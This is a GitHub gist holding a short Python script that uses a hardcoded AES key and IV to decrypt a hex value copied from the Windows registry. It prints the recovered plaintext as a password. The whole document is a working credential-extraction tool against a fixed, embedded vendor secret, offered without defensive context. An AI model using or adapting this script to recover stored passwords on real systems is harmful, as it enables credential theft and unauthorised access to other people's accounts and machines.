Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Created February 3, 2020 19:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save S3cur3Th1sSh1t/b2c60862fd90f67e09e4ad5ab4c1f48c to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/b2c60862fd90f67e09e4ad5ab4c1f48c to your computer and use it in GitHub Desktop.
import sys, hexdump, binascii
from Crypto.Cipher import AES
class AESCipher:
def __init__(self, key):
self.key = key
def decrypt(self, iv, data):
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self.cipher.decrypt(data)
key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe" # output from the registry
ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)
print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')
print(password)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment